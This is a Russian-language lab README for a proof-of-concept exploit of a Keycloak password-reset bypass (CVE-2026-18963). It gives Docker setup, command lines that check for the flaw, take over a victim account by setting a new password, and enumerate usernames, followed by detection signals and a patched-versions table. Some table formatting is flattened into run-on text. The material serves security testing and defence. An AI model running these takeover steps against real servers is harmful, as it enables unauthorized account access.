
Этот репозиторий — PoC для cve-2026-18963. Пожалуйста, используйте его только на легальных продуктах (лаборатория, локальная среда и т. д.).
Обход reset-credentials в Keycloak → захват учётной записи без аутентификации CVSS 9.1 | Затронуты: Keycloak 26.0.0 – 26.7.1
Эта лабораторная работа воссоздана из оригинального README репозитория
snizi/cve-2026-18963-exploit.
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoC-скрипт (Python 3.9+, только стандартная библиотека)
├── README.md
├── docker-compose.yml <- Лабораторная среда
└── realm-poc.json <- Конфигурация realm Keycloak (автоимпорт)
docker compose up -d
Или запустите Keycloak напрямую, без импорта realm:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Подождите ~30–60 секунд, пока Keycloak завершит загрузку.
| Сервис | URL | Версия | Статус |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | УЯЗВИМ ⚠️ |
| Mailpit | http://localhost:8025 | latest | Перехватывает почту |
admin / adminvictim / OriginalPassw0rd!poc | Клиент: poc-apppoc или пользователь victim отсутствуют, импортируйте их вручную:
Manage realms → Create realm → Загрузите realm-poc.json.python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
Ожидаемый результат на kc-vuln:
[!] VULNERABLE — email gate execution served
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
Побочные эффекты: жертве отправляется письмо для сброса пароля (просмотрите его на http://localhost:8025), а параметр
emailVerifiedустанавливается вtrue.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
После этого проверьте результат, войдя на http://localhost:8080/realms/poc/account
с учётными данными victim / PoCPassw0rd!1.
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
Realm импортируется только при первом запуске, поэтому самый простой способ сброса — пересоздать среду с нуля:
docker compose down -v && docker compose up -d
Либо сбросьте пароль вручную в консоли администратора
(http://localhost:8080/admin): Users → victim → Credentials → Reset password
→ OriginalPassw0rd!.
docker compose down -v
| Сигнал | Легитимно | Эксплойт |
|---|---|---|
GET /login-actions/action-token?... | ✅ Да | ❌ Нет |
POST .../reset-credentials с телом tryAnotherWay=yes | ❌ Нет | ✅ Да |
SEND_RESET_PASSWORD → UPDATE_PASSWORD с тем же code_id < 2 с | Редко | ✅ Всегда |
emailVerified меняется на true без события VERIFY_EMAIL | ❌ | ✅ Всегда |
В Mailpit (http://localhost:8025) письмо о сбросе пароля приходит в почтовый ящик жертвы, но ссылка внутри него никогда не открывается при успешном эксплойте.
| Линия релизов | Затронуты | Исправление |
|---|---|---|
| ≤ 17 (WildFly) | Нет | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | Нет (необходим переход на 26.7.2) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (бэкпорт от вендора) |
| 26.5 | 26.5.0 – 26.5.7 | Нет |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (бэкпорт от вендора) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
Версии до 26.0 не затронуты: липкая заметка
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDи экран выбора «Try another way» в процессе сброса были введены в 26.0.0. В более старых сборках просто отсутствует уязвимый путь кода — это не то же самое, что наличие исправления.